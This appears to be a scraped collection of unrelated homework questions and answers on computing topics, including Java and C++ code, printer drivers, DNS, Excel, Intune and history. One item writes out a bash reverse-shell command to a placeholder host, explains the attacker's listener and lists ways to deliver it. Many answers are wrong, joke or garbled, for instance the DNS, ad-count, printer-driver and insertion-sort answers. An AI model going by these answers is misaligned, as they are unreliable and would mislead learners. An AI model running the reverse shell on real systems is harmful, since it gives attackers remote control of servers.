How many ads should be implemented per ad group?
A One or two
B Only one
C Three to five
D Two to three
Answer:
only one
Explanation:
because who likes ad
Insertion sort in java code. I need java program to output this print out exact, please. The output comparisons: 7 is what I am having issue with it is printing the wrong amount.
When the input is:
6 3 2 1 5 9 8
the output is:
3 2 1 5 9 8
2 3 1 5 9 8
1 2 3 5 9 8
1 2 3 5 9 8
1 2 3 5 9 8
1 2 3 5 8 9
comparisons: 7
swaps: 4
Here are the steps that are need in order to accomplish this.
The program has four steps:
1 Read the size of an integer array, followed by the elements of the array (no duplicates).
2 Output the array.
3 Perform an insertion sort on the array.
4 Output the number of comparisons and swaps performed.
main() performs steps 1 and 2.
Implement step 3 based on the insertion sort algorithm in the book. Modify insertionSort() to:
Count the number of comparisons performed.
Count the number of swaps performed.
Output the array during each iteration of the outside loop.
Complete main() to perform step 4, according to the format shown in the example below.
Hints: In order to count comparisons and swaps, modify the while loop in insertionSort(). Use static variables for comparisons and swaps.
The program provides three helper methods:
// Read and return an array of integers.
// The first integer read is number of integers that follow.
int[] readNums()
// Print the numbers in the array, separated by spaces
// (No space or newline before the first number or after the last.)
void printNums(int[] nums)
// Exchange nums[j] and nums[k].
void swap(int[] nums, int j, int k)
Answer:
Explanation:
public class InsertionSort {
static int numComparisons;
static int numSwaps;
public static void insertionSort(int[] nums) {
for (int i = 1; i < nums.length; i++) {
int j = i;
while (j > 0 && nums[j] < nums[j - 1]) {
swap(nums, j, j - 1);
j--;
}
numComparisons++;
printNums(nums);
}
}
public static void main(String[] args) {
int[] nums = readNums();
printNums(nums);
insertionSort(nums);
System.out.println("comparisons: " + numComparisons);
System.out.println("swaps: " + numSwaps);
}
public static int[] readNums() {
Scanner scanner = new Scanner(System.in);
int count = scanner.nextInt();
int[] nums = new int[count];
for (int i = 0; i < count; i++) {
nums[i] = scanner.nextInt();
}
scanner.close();
return nums;
}
public static void printNums(int[] nums) {
for (int i = 0; i < nums.length; i++) {
System.out.print(nums[i]);
if (i < nums.length - 1) {
System.out.print(" ");
}
}
System.out.println();
}
public static void swap(int[] nums, int j, int k) {
int temp = nums[j];
nums[j] = nums[k];
nums[k] = temp;
numSwaps++;
}
}
You work at a print shop that produces marketing materials, and your manager asks you to install a new printer. The printer comes with two options for drivers. One uses PCL, and the other uses Postscript. Which driver is the best option and why
Since you work at a print shop that produces marketing materials, and your manager asks you to install a new printer. The drivers that is best is PCL, because it can be used in the office to print physical document while the Postcript can only be used for online document or pdf and since it is office job, PCL is the best.
What is PCL printer?PCL use depends on the device. This indicates that certain printed data, typically graphical data like fill areas, underlines, or fonts, is created by the drivers for this language by using the printer hardware. As a result, the print job can be processed by the computer fast and effectively. The production and processing of page data must then be finished by the printer.
Note that If you typically print from "Office" programs in general, use the PCL driver. If you wish to print PDFs more quickly or use professional DTP and graphics tools for the majority of your printing, pick the PostScript driver.
Learn more about printer driver from
https://brainly.com/question/14230829
#SPJ1
When programming in the MakeCode Arcade interface, why would you select
one of the buttons in the bottom right corner of the screen?
In the MakeCode Arcade interface, buttons in the bottom right corner of the screen are typically selected to change the display mode between code blocks and JavaScript. This allows the user to switch between a visual, block-based interface for writing code and a text-based interface for writing JavaScript code.
How does the MakeCode arcade's code leaping work?To position the sprite in the game's center, add an A button event. To make the sprite "jump" (move) 15 pixels, add a B button event.
Therefore, the "code drawers" in the editor's center are where the blocks are kept. A Position variable in MakeCode is a special type of variable that stores three numbers that identify a particular place in three dimensions. These values are referred to as X, Y, and Z coordinates. This feature provides greater flexibility and control over the code, allowing the user to write code using their preferred method.
Learn more about MakeCode from
https://brainly.com/question/29354598
#SPJ1
Answer:
B.
To zoom into the code so it appears larger
Explanation:
Environment varies firm to firm
of
Select one:
O True
tion
False
Answer:
true
...................
How would you like to have more control over what companies do with personal information?
Actions to Control Your Data: Then, check the privacy options on each of your social media accounts. Re-review them often. Establish the most stringent rules to prohibit the sharing of your information. On all accounts, use secure passwords, and change them frequently.
What uses do businesses make of your data?The majority of businesses maintain sensitive personal data that can be used to identify customers or workers in their files, including names, Social Security numbers, credit card information, and other account information. To fulfil orders, make payroll, or carry out other essential business tasks, this information is frequently required.Additionally, you have the option to decline and stop your data from being sold to a data broker. Send a subject access request. Find out if they sell personal information and to whom by asking them. As they shouldn't provide data to anyone who requests it, you might need to prove your identity during the process.The Privacy Act of 1974 forbids the federal government from disclosing personal data without authorization.To learn more about personal data, refer to:
https://brainly.com/question/27034337
100 points!!!!
You must write 5-7 sentences to receive full credit
What are some of the ways that what are some of the ways mobile technology has changed the web? Describe at least two ways that your life would be different if you only used the web without using mobile devices such as smartphones or tablets.
Answer:
Mobile technology has changed the web in many ways. It has made the web more accessible and user-friendly, with features such as mobile-optimized websites, responsive design, and mobile apps. It has also enabled people to access the web from anywhere, anytime, allowing them to stay connected and informed. If I only used the web without using mobile devices, I would not be able to access the web while on the go, which would limit my ability to stay connected with family and friends. I would also not be able to access the web when I'm away from home, which would make it more difficult to stay up to date with news and information.
Explanation:
Answer:
Mobile technology has revolutionized the web by making it more accessible and user-friendly. Mobile devices have changed the way people consume and interact with online content, leading to the creation of responsive design and mobile-first web development. If I only used the web without mobile devices, I would miss out on the convenience of being able to access the web on-the-go, as well as the ability to easily complete tasks such as online shopping and banking from anywhere. Additionally, I would miss out on the many apps and tools available exclusively on mobile devices that make my life easier and more efficient.
Assignment Summary
For this assignment, you will follow detailed instructions to format an Excel workbook that demonstrates your knowledge of how to manage an Excel spreadsheet and its data.
Background Information
To successfully complete this assignment, you will need to know how to create and save an Excel worksheet, enter data, adjust font and color, merge cells, add hyperlinks, and change page orientation.
In order to format an Excel workbook and manage its data, we must know how to can use various tools such as cell formatting, conditional formatting, sorting, filtering, grouping etc.
How can we format an Excel workbook and manage its data?Generally, the formatting an an Excel workbook involves setting up the layout and style of the worksheet which includes adjusting the column width and row height, applying different fonts, different colors and using borders and shading to make the data more readable.
We can use conditional formatting to highlight specific data based on certain criteria. The managing of data in Excel involves organizing and manipulating data within the workbook which can be done through sorting, filtering and grouping data to better analyze and understand it.
Read more about Excel workbook
brainly.com/question/28769162
#SPJ1
With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:
/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?
1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.
2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.
3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.
4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.
1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:
0: It represents file descriptor 0, which is the standard input (stdin).
1: It represents file descriptor 1, which is the standard output (stdout).
2: It represents file descriptor 2, which is the standard error (stderr).
: It is the output redirection symbol and is used to redirect the output of a command to a file or device.
<: It is the input redirection symbol and is used to redirect input from a file or device to a command.
&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.
2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.
3. The reverse shell attack is typically performed in the following steps:
The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:
Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.
Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.
Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.
Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.
It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.
For more questions on Linux operating system-based
https://brainly.com/question/31763437
#SPJ11
Background information: This is an excerpt from a 1433 speech by Emperor Zhu Di.
Due to so many unexplained difficulties and bad omens, the Majesty is humbled and concerned. . . . To alleviate the situation, all policies that cause the public inconvenience, if not urgent, should be stopped. . . . Policies temporarily stopped include the voyages to foreign countries, horse trading with the remote western and northern areas.
What Ming political and economic policy does this excerpt provide an example of?
commercialism
Confucianism
kowtowing
isolationism
Answer:
D. isolationism
Explanation:
Write the pseudocode for the scenario below. A teacher has a class of 10 learners who recently wrote a test. The teacher would like to determine the average class mark and the name of the student with the highest mark. Verify that the marks input by the teacher fall in the range 0 to 100. For any mark input that is outside of this range, the user must repeat the process and input the mark until it is within the range. The values below are an example of the names and marks for this scenario and explanation. The teacher will input their own data. Example Data Names – string Marks – numeric Joe 68 Mpho 56 Kyle 43 Susan 49 Thando 76 Refilwe 80 John 50 Katlego 75 Joyce 63 Sisanda 44 You are required to do the following for the teacher: • Display the student’s name with their corresponding mark and category. o Any learner with a mark equal to or above 75 display “Distinction” next to their mark. o For those learners with a mark less than 50, display “Fail”. o All the other students must have the word “Pass” next to their mark.
Display the name of the learner with the highest mark.
Calculate and display the average class mark. Comment your pseudocode and use descriptive and appropriate messages/labels for the output.
The report must display no java no python no c++ just simply and pseudocode here's what to follow :
Declare and initialise variables Input student name
Verify that all the marks input are between 0 and 100 (inclusive). If not, then the user must re-enter that mark
Determine and display “Distinction” next to the student whose mark is greater than or equal to 75
Determine and display “Pass” next to the student whose mark is in the range 50 to 74
Determine and display “Fail” next to the student whose mark is less than 50
Determine and display the name of the student with highest mark and lowest mark
Calculate and display the average class mark
The pseudocode for the given variables is shown below;
Declare and initialize variables:
highestMark = 0
highestMarkName = ""
totalMarks = 0
Repeat the following steps for each student:
a. Input studentName and mark
b. If mark is less than 0 or greater than 100, repeat step 2a
c. If mark is greater than or equal to 75, display studentName, mark, and "Distinction"
d. If mark is less than 50, display studentName, mark, and "Fail"
e. If mark is between 50 and 74 (inclusive), display studentName, mark, and "Pass"
f. If mark is greater than highestMark, update highestMark to mark and highestMarkName to studentName
g. Add mark to totalMarks
Calculate averageMark by dividing totalMarks by the number of students (which is 10)
Display highestMarkName and "has the highest mark."
Display "Average class mark is " concatenated with averageMark.
Please take note of the following pseudocode, which presumes the existence of precisely ten pupils in the classroom. If the amount of learners fluctuates, extra reasoning would be required to accommodate the inconsistent student count.
Read more about pseudocode here:
https://brainly.com/question/24953880
#SPJ1
Su now wants to modify the text box that contains her numbered list. She accesses the Format Shape pane. In what ways can Su modify the text box using the pane? Check all that apply.
She can rotate the text box.
She can add color to the text box.
She can add a shape to the text box.
She can add a border to the text box.
She can insert a picture in the text box.
Answer:
She can add color to the text box.
She can add a border to the text box.
Explanation:
Answer:
B. She can add color to the text box.
D. She can add a border to the text box
Explanation:
hope this helps :)
List the do's and don'ts of secure online interactions
Answer:
The answer is below
Explanation:
The "dos" are the safe practice's website users should always do to provide themselves a form of security against potential hackers in online interactions.
Hence, are the "dos" based on the options listed.
1. Use a long password with mixed characters
2. Use antivirus and spyware protection
3. Don't write your password down and leave it where others can find it
4. Go through the terms and conditions, and privacy policies of social networking and other websites that you access.
On the other hand, the "don'ts" are the practices a website user or visitor should avoid doing to provide themselves a form of security against potential hackers in online interactions.
Hence, are the "don'ts" based on the options listed.
1. Keep yourself logged in when you leave your computer
2. Share your password with your friends
3. Retain cookies every time you visit a website.
C++ Code Outputs.
I have a problem with my code and I don't know how to make it run as the project that I need below.
This is my code:
#include
#include
#include
#include
using namespace std;
struct courseInfo{
string name;
int unit;
char grade;
};
struct Student {
string fName;
string lName;
string idNumber;
courseInfo courses[2];
int unitCompleted;
double gpa;
};
Student s;
bool openFile(ifstream &in);
void Print_info_one(Student s);
void Read_info(Student &s);
float Find_points(char c) ;
bool openFile(ifstream &inFile){
string line;
int i=0,k=0;
string fName="", lname="", id="", name1="", name2="";
char grade1, grade2;
int unit1, unit2;
if (inFile.is_open())
{
while (getline(inFile, line))
{
while (line[i] != ',')
{
fName += line[i];
i++;
}
i++;
i++;
while (line[i] != ' ')
{
lname += line[i];
i++;
}
i++;i++;
while (line[i] != ' ')
{
id += line[i];
i++;
}
i++;
int count=0;
while (count <2)
{
name1 += line[i];
i++;
if(line[i] == ' ' ) count++;
}
i++;
grade1 = line[i];
i++;i++;
unit1 = line[i]-'0';
i++;i++;
count=0;
while (count <2)
{
name2 += line[i];
i++;
if(line[i] == ' ' ) count++;
}
i++;
grade2 = line[i];
i++;i++;
unit2 = line[i]-'0';
}
inFile.close();
s.fName = fName;
s.lName = lname;
s.idNumber = id;
s.courses[0].name = name1;
s.courses[0].grade = grade1;
s.courses[0].unit = unit1;
s.courses[1].name = name2;
s.courses[1].grade = grade2;
s.courses[1].unit = unit2;
s.unitCompleted = unit1 + unit2;
s.gpa = (unit1*Find_points(grade1) + unit2*Find_points(grade2))/(unit1+unit2);
}
else
{
cout << "Error reading file\n";
return false;
}
return true;
}
void Print_info_one(Student s){
cout << "Name: " << s.fName << ", " << s.lName << " ID Number: " << s.idNumber << " Course 1 Name: " << s.courses[0].name << " Grade: "
<< s.courses[0].grade << " Units: " << s.courses[0].unit << " Course 2 Name: " << s.courses[1].name << " Grade: "
<< s.courses[1].grade << " Units: " << s.courses[1].unit << " Unit completed: " << s.unitCompleted << " GPA:" << s.gpa << endl;
}
void Read_info(Student &s){
}
float Find_points(char grade){
switch (grade)
{
case 'A':
return 4.0;
break;
case 'B':
return 3.0;
break;
case 'C':
return 2.0;
break;
case 'D':
return 1.0;
break;
case 'F':
return 0;
break;
default:
break;
}
return 0;
}
int main() {
ifstream inFile;
std::fstream fs;
fs.open ("input.txt", std::fstream::in );
Print_info_one(s);
return 0;
}
In the screenshots i'm showing the inputs and outputs that I need for the test
Answer:
#include
#include
#include
#include
using namespace std;
struct courseInfo{
string name;
int unit;
char grade;
};
struct Student {
string fName;
string lName;
string idNumber;
courseInfo courses[2];
int unitCompleted;
double gpa;
};
Student s;
bool openFile(ifstream &in);
void Print_info_one(Student s);
void Read_info(Student &s);
float Find_points(char c) ;
bool openFile(ifstream &inFile){
string line;
int i=0,k=0;
string fName="", lname="", id="", name1="", name2="";
char grade1, grade2;
int unit1, unit2;
if (inFile.is_open())
{
while (getline(inFile, line))
{
while (line[i] != ',')
{
fName += line[i];
i++;
}
i++;
i++;
while (line[i] != ' ')
{
lname += line[i];
i++;
}
i++;i++;
while (line[i] != ' ')
{
id += line[i];
i++;
}
i++;
int count=0;
while (count <2)
{
name1 += line[i];
i++;
if(line[i] == ' ' ) count++;
}
i++;
grade1 = line[i];
i++;i++;
unit1 = line[i]-'0';
i++;i++;
count=0;
while (count <2)
{
name2 += line[i];
i++;
if(line[i] == ' ' ) count++;
}
i++;
grade2 = line[i];
i++;i++;
unit2 = line[i]-'0';
}
inFile.close();
s.fName = fName;
s.lName = lname;
s.idNumber = id;
s.courses[0].name = name1;
s.courses[0].grade = grade1;
s.courses[0].unit = unit1;
s.courses[1].name = name2;
s.courses[1].grade = grade2;
s.courses[1].unit = unit2;
s.unitCompleted = unit1 + unit2;
s.gpa = (unit1*Find_points(grade1) + unit2*Find_points(grade2))/(unit1+unit2);
}
else
{
cout << "Error reading file\n";
return false;
}
return true;
}
void Print_info_one(Student s){
cout << "Name: " << s.fName << ", " << s.lName << " ID Number: " << s.idNumber << " Course 1 Name: " << s.courses[0].name << " Grade: "
<< s.courses[0].grade << " Units: " << s.courses[0].unit << " Course 2 Name: " << s.courses[1].name << " Grade: "
<< s.courses[1].grade << " Units: " << s.courses[1].unit << " Unit completed: " << s.unitCompleted << " GPA:" << s.gpa << endl;
}
void Read_info(Student &s){
}
float Find_points(char grade){
switch (grade)
{
case 'A':
return 4.0;
break;
case 'B':
return 3.0;
break;
case 'C':
return 2.0;
break;
case 'D':
return 1.0;
break;
case 'F':
return 0;
break;
default:
break;
}
return 0;
}
int main() {
ifstream inFile;
std::fstream fs;
fs.open ("input.txt", std::fstream::in );
Print_info_one(s);
return 0;
Explanation:
During the projects for this course, you have demonstrated to the Tetra Shillings accounting firm how to use Microsoft Intune to deploy and manage Windows 10 devices. Like most other organizations Tetra Shillings is forced to make remote working accommodations for employees working remotely due to the COVID 19 pandemic. This has forced the company to adopt a bring your own device policy (BYOD) that allows employees to use their own personal phones and devices to access privileged company information and applications. The CIO is now concerned about the security risks that this policy may pose to the company.
The CIO of Tetra Shillings has provided the following information about the current BYOD environment:
Devices include phones, laptops, tablets, and PCs.
Operating systems: iOS, Windows, Android
Based what you have learned about Microsoft Intune discuss how you would use Intune to manage and secure these devices. Your answer should include the following items:
Device enrollment options
Compliance Policy
Endpoint Security
Application Management
I would utilise Intune to enrol devices, enforce compliance regulations, secure endpoints, and manage applications to manage and secure BYOD.
Which version of Windows 10 is more user-friendly and intended primarily for users at home and in small offices?The foundation package created for the average user who primarily uses Windows at home is called Windows 10 Home. It is the standard edition of the operating system. This edition includes all the essential tools geared towards the general consumer market, including Cortana, Outlook, OneNote, and Microsoft Edge.
Is there employee monitoring in Microsoft Teams?Microsoft Teams helps firms keep track of their employees. You can keep tabs on nearly anything your staff members do with Teams, including text conversations, recorded calls, zoom meetings, and other capabilities.
To know more about BYOD visit:
https://brainly.com/question/20343970
#SPJ1
What benefits does the Domain Name System (DNS) provide? Check all that apply.
Network Address Translation (NAT)
Ease of address memorization
Assigning Internet Protocol (IP) addresses
Easy mapping to a new Internet Protocol (IP) address
Answer:
Option C (Assigning Internet Protocol (IP) addresses) is the correct choice.
Explanation:
DNS is a centralized process for resolving as well as continuing to give IP addresses for something like a specified domain name, a method that allows you to search a site via your web browsers whenever you tab or switch on any web server (Internet Explorer, chrome, respectively.).This helps everyone to still have throughput mostly on the network although one of the databases becomes offline for maintenance.All other options are not relevant to the situation in question. It is the right answer to all of the above.
Answer:the TCP
Explanation:
Your data set is total sales per month. What does the value $500.0 in this image of the Status Bar tell you? Profits Average: $346.7 Count: 3 Numerical Count: 3 Min: $240.0 Max: $500.0 Sum: $1,040.0
Note that where the Status Bar in Microsoft Excel indicates $500, this refers "the largest dollar amount of sales across all 12 months" in the referenced data set.
What is the rationale for the above response?Note that $500 refers to the highest numerical value in the currently selected range of cells. It is a quick way to obtain the maximum value without having to use a formula or function. This can be useful in data analysis to quickly identify the highest value in a set of data.
The status bar in software applications such as Microsoft Excel, Word, and other productivity tools is important because it provides users with real-time information and quick access to certain features and settings.
For example, in Microsoft Excel, the status bar provides users with important information such as the current cell mode, whether the num lock is on or off, the average, count, and sum of selected cells, and the maximum and minimum values of selected cells.
Learn more about Data Set:
https://brainly.com/question/16300950
#SPJ1
Why is it good to be a computer programmer?
Answer: With programming, you have more freedom than with other jobs. The majority of programming job openings are remote, giving you plenty of freedom to complete your duties.
Explanation: You can work wherever you want with programming jobs, especially if you have a good reputation.
Create a method called randomValues that uses a while loop to generate a random number between 1-25 until the value 10 is generated. Therefore, 10 will be the value that stops your loop from generating a random number.
Answer:
The method in Java is as follows:
public static void randomValues(){
Random r = new Random();
int sentinel = 10;
int randNum = r.nextInt(24) + 1;
while(randNum!=sentinel){
System.out.print(randNum+" ");
randNum = r.nextInt(24) + 1;
}
System.out.print(sentinel);
}
Explanation:
This defines the method
public static void randomValues(){
This creates a random object, r
Random r = new Random();
This sets the sentinel value to 0
int sentinel = 10;
This generates a random number
int randNum = r.nextInt(24) + 1;
This loop is repeated until the the random number is 10
while(randNum!=sentinel){
Print the generated number
System.out.print(randNum+" ");
Generated another random number
randNum = r.nextInt(24) + 1; }
Print the sentinel (i.e. 10)
System.out.print(sentinel);
}
On page 104, of Think Like a Computer Scientist, you learned about paired data. With paired data, you can use a for loop with two index variables to iterative through the data. In this exercise you will create a turtle drawing using pairs of data, where the first item of the pair is the distance to move forward , and the second item is the angle to turn.. Set up a list of pairs so that the turtle draws a house with a cross through the center, as show here. This should be done without going over any of the lines / edges more than once, and without lifting your pen.
Your first pair of data will be (100,135). In a list this will look like ls = [ (100, 135) ] Then you need to add the other pairs for the remaining lines and angles. The 100 represents the distance forward the turtle will travel. The 135 represents the angle the turtle will turn left.
Screen capture of run of program showing house figure
Hint: Your first line should be the bottom line. Then turn left 135 degrees and go forward. You may wish to create the drawing without the list first, then substitute a list and a for loop for the distances and angles.
Use two functions: a main() function that sets up screen and turtle objects, and a drawhouse() function that takes a turtle object as an argument.
Includes comments at the top to identify file name, project and a brief description.
For further documentation, include comment for each section of code. Write in Python asap
Answer:
import turtle
def drawhouse(t):
# find the length of diagonal of a square with side = 100
# formula: diagonal = sqrt(2) * side
diagonal = 100 * (2 ** 0.5)
data = [(100, 135), (diagonal, -135), (100, -135), (diagonal, -135), (100, -45), (diagonal / 2, -90),
(diagonal / 2, -45), (100, 0)]
for dist, angle in data:
t.forward(dist)
t.left(angle)
def main():
t = turtle.Turtle()
drawhouse(t)
turtle.done()
main()
Write a short essay (roughly 300 words) about some topic related to computing and/or communication technology that interests you and has social or ethical implications. Describe the background; then identify the social or ethical issues, problems, or questions that you think are important. (Don't make your essay be just an argument for one point of view. You may express your views if you want to, but first explain what the issues are, why there is a problem or a controversy.) Remember to define the problem.
A topic related to computing and/or communication technology that interests you and has social or ethical implications is computer programming.
What is the role of computer programming in the society?Information Communication Technology (ICT) is known to be one that has brought about a lot of new ethical concerns as regards the protection of personal privacy, and also that of of intellectual property. It also encompasses the user responsibility, acceptable access and use of information.
Note that Computer programming is vital today because a lot of our world is said to be automated in nature. Humans do need to be able to control the communication that exist between people and machines.
Note that Since computers and machines are said to have the ability to do things so well and accurately, we therefore need to use computer programming to get that computing power.
Learn more about computer programming from
https://brainly.com/question/23275071
#SPJ1
How does drawing out a scene help actors see a scene they want to act out?
Answer:
Visualization
Explanation:
its the formation of an image of something, which would help the actor understand the scene more clearly
Zeller’s congruence is an algorithm developed by Christian Zeller to calculate the day of the week. The formula is h = (q + 26(m+1)//10 + k + k//4 +j//4 +5j) % 7 where - h is the day of the week (0: Saturday, 1: Sunday, 2: Monday, 3: Tuesday, 4: Wednesday, 5: Thursday, 6: Friday). - q is the day of the month. - m is the month (3: March, 4: April, ..., 12: December). January and February are counted as months 13 and 14 of the previous year. - j is year//100. - k is the year of the century (i.e., year % 100). Write a program that prompts the user to enter a year, month, and day of the month, and then it displays the name of the day of the week.
Answer:
Here is the program:
import java.util.Scanner; // to accept input from user
public class Main { //class definition
public static void main(String[] args) { //start of main function
Scanner input = new Scanner(System.in); //creates Scanner class object
System.out.print("Enter year: "); //prompts user to enter Year
int year = input.nextInt(); // reads input year from user
System.out.print("Enter month: "); //prompts user to enter month
int month = input.nextInt(); // reads input month from user
System.out.print("Enter the day of the month: "); //prompts user to enter day of month
int dayM = input.nextInt(); // reads input day of month from user
if (month == 1 || month == 2){ //if month is January or February
month = (month == 1) ? 13 : 14; //if month is January set month to 13 and 14 otherwise
year--; } //decrements value of year
int dayW = (dayM + (26 * (month + 1)) / 10 + (year % 100)
+ (year % 100) / 4 + (year / 100) / 4 + 5 * (year / 100)) % 7; //computes day of the week
System.out.print("Day of the week is "); //prints day of week
switch(dayW) { //used to print day of the week
case 0: System.out.println("Saturday"); break; //if 0 then displays Saturday
case 1: System.out.println("Sunday"); break; //1 then displays Sunday
case 2: System.out.println("Monday"); break; //2 then displays Monday
case 3: System.out.println("Tuesday"); break; //3 then displays Tuesday
case 4: System.out.println("Wednesday"); break; //4 then displays Wednesday
case 5: System.out.println("Thursday"); break; //5 then displays Thursday
case 6: System.out.println("Friday"); } } } //6 then displays Friday
Explanation:
The program first prompts the user to enter the values of year, month and day of month. Then uses the following formula to compute day of the week in that particular year, month and day of week:
Suppose
year = 2020
month = 9
day of month = dayM = 6
Then dayM is calculated as
(dayM + (26 * (month + 1)) / 10 + (year % 100)
+ (year % 100) / 4 + (year / 100) / 4 + 5 * (year / 100)) % 7
(6+ (26 * (9+ 1)) / 10 + (2020% 100)
+ (2020% 100) / 4 + (2020/ 100) / 4 + 5 * (2020/ 100)) % 7;
This gives answer as 1.
Now if we see the switch statement the day corresponding to 1 is Sunday
So the day on year 2020, month 9 and day of the month 6 is Sunday.
The screenshot of program along with its output is attached.
Which statements are true about mobile apps? Select 3 options.
The statements are true about mobile app development are;
Software development kits can provide a simulated mobile environment for development and testingMobile app revenues are expected to growWhether a mobile app is native, hybrid, or web, depends on how the app will be used and what hardware needs to be accessed by the appHow is this so?According to the question, we are to discuss what is mobile app and how it works.
As a result of this mobile app serves as application that works on our mobile phone it could be;
nativehybridwebTherefore, Software development kits can provide a simulated mobile environment.
Learn more about mobile apps at:
https://brainly.com/question/26264955
#SPJ1
Full Question:
Although part of your question is missing, you might be referring to this full question:
Which of the following statements are true about mobile app development? Select 3 options.
• Software development kits can provide a simulated mobile environment for development and testing
• Testing is not as important in mobile app development, since the apps are such low-priced products
• Mobile apps can either take advantage of hardware features or can be cross-platform, but not both
• Mobile app revenues are expected to grow
• Whether a mobile app is native, hybrid, or web, depends on how the app will be used and what hardware needs to be accessed by the app
Use Python.
Complete reverse() method that returns a new character array containing all contents in the parameter reversed.
Ex: If the input array is:
['a', 'b', 'c']
then the returned array will be:
['c', 'b', 'a']
import java.util.*;
public class LabProgram {
// This method reverses contents of input argument arr.
public static char[] reverse(char[] arr) {
/* Type your code here. */
}
public static void main(String[] args) {
char [] ch = {'a','b','c'};
System.out.println(reverse(ch)); // Should print cba
}
}
Answer:
Explanation:
The code in the question is written in Java but If you want it in Python then it would be much simpler. The code below is writen in Python and uses list slicing to reverse the array that is passed as an argument to the function. The test case from the question was used and the output can be seen in the attached image below.
def reverse(arr):
reversed_arr = arr[::-1]
return reversed_arr
s the act of consulting with subject-matter experts about the results of your data analysis.
Data Validation is the act of consulting with subject-matter experts about the results of your data analysis.
Why is this important?The act of consulting with subject-matter experts about the results of your data analysis is known as "data validation" or "data verification."
This is an important step in the data analysis process to ensure that the findings are accurate, meaningful, and useful. It involves seeking feedback from experts in the relevant field or industry to ensure that the results are consistent with what is known about the subject matter and that any assumptions or conclusions drawn from the data are appropriate.
Learn more about Data Validation on:
https://brainly.com/question/29033397
#SPJ1
Answer in C language:
Answer: English
Explanation:
Some one please help me
It should be noted that:
the Cabling for 1000BASE-T Ethernet standards is RJ-45 Connector.the cable for ethernet standards 10GBase-SR is Copper for Fiber cabling. It must be an SPF+, multi-mode fiber cable with an 850 nm laser. This is the most often utilized cable in fiber-based 10 GbE networks. SR stands for "Short Range," and depending on the generation of MMF, it can run up to 400 m.The cable for WAN Link is CAT5e or CAT6 cable.The cable for ethernet standard 100base-t is an RJ-45 cable for physical linkage and supports segment lengths of up to 100 meters.What are the Ethernet standards?The IEEE Standard 802.3 Ethernet standard was created by the Institute of Electrical and Electronic Engineers (IEEE). This standard outlines how the pieces of an Ethernet network communicate with one another as well as the rules for creating an Ethernet network.
IEEE 802.3 is a standards body and a set of standards that define wired Ethernet's physical layer and data link layer media access control. The standards are developed by the Institute of Electrical and Electronics Engineers' working group.
Learn more about Ethernet Standards:
https://brainly.com/question/13267410
#SPJ1
In a hash table both the keys and values are integers. We iterate over the key value pairs of a hash table and print each of the pairs of values in the format Key=a Value=b . Which of the following could be a valid out put?
Note that the valid output with regard to the hash table is: "Key=1, Value=10 Key=2, Value=10 Key=3, Value=100"
What is the explanation for the above response?The correct answer is "Key=1, Value=10 Key=2, Value=10 Key=3, Value=100", as it shows a valid output for iterating over key value pairs of a hash table.
The order of the keys and values may vary, but each key should be associated with its corresponding value. Option "Key=1, Value=11" is not a valid output because it implies that there are two values associated with the same key. The other options either have duplicate keys or values, or missing keys.
Learn more about hash table at:
https://brainly.com/question/29970427
#SPJ1
Describe the Software Development Life Cycle. Describe for each phase of the SDLC how it can be used to create software for an Employee Payroll System that allows employees to log the number of hours completed in a work period and then generate their pay. Use Microsoft Word to complete this part of the assessment. Save your file as LASTNAME FIRSTNAME M08FINAL1 were LASTNAME is your lastname and FIRSTNAME is your first name. Upload your answer to this question; do not submit this assessment until you have completed all questions. This question is worth 25 points.
Answer:
Check the explanation
Explanation:
SDLC
SDLC stands for Software Development Life Cycle
It provides steps for developing a software product
It also checks for the quality and correctness of a software
The main aim of SDLC is to develop a software, which meets a customer requirements
SDLC involves various phases to develop a high-quality product for its end user
Phases of SDLC
There are seven phases in a software development life cycle as follows,
Requirement Analysis Feasibility Study Design Coding Testing Deployment Maintenance
kindly check the attached image below
Requirement analysis
This is the first stage in a SDLC.
In this phase, a detailed and precise requirements are collected from various teams by senior team members
It gives a clear idea of the entire project scope, opportunities and upcoming issues in a project
This phase also involves, planning assurance requirements and analyze risk involved in the project
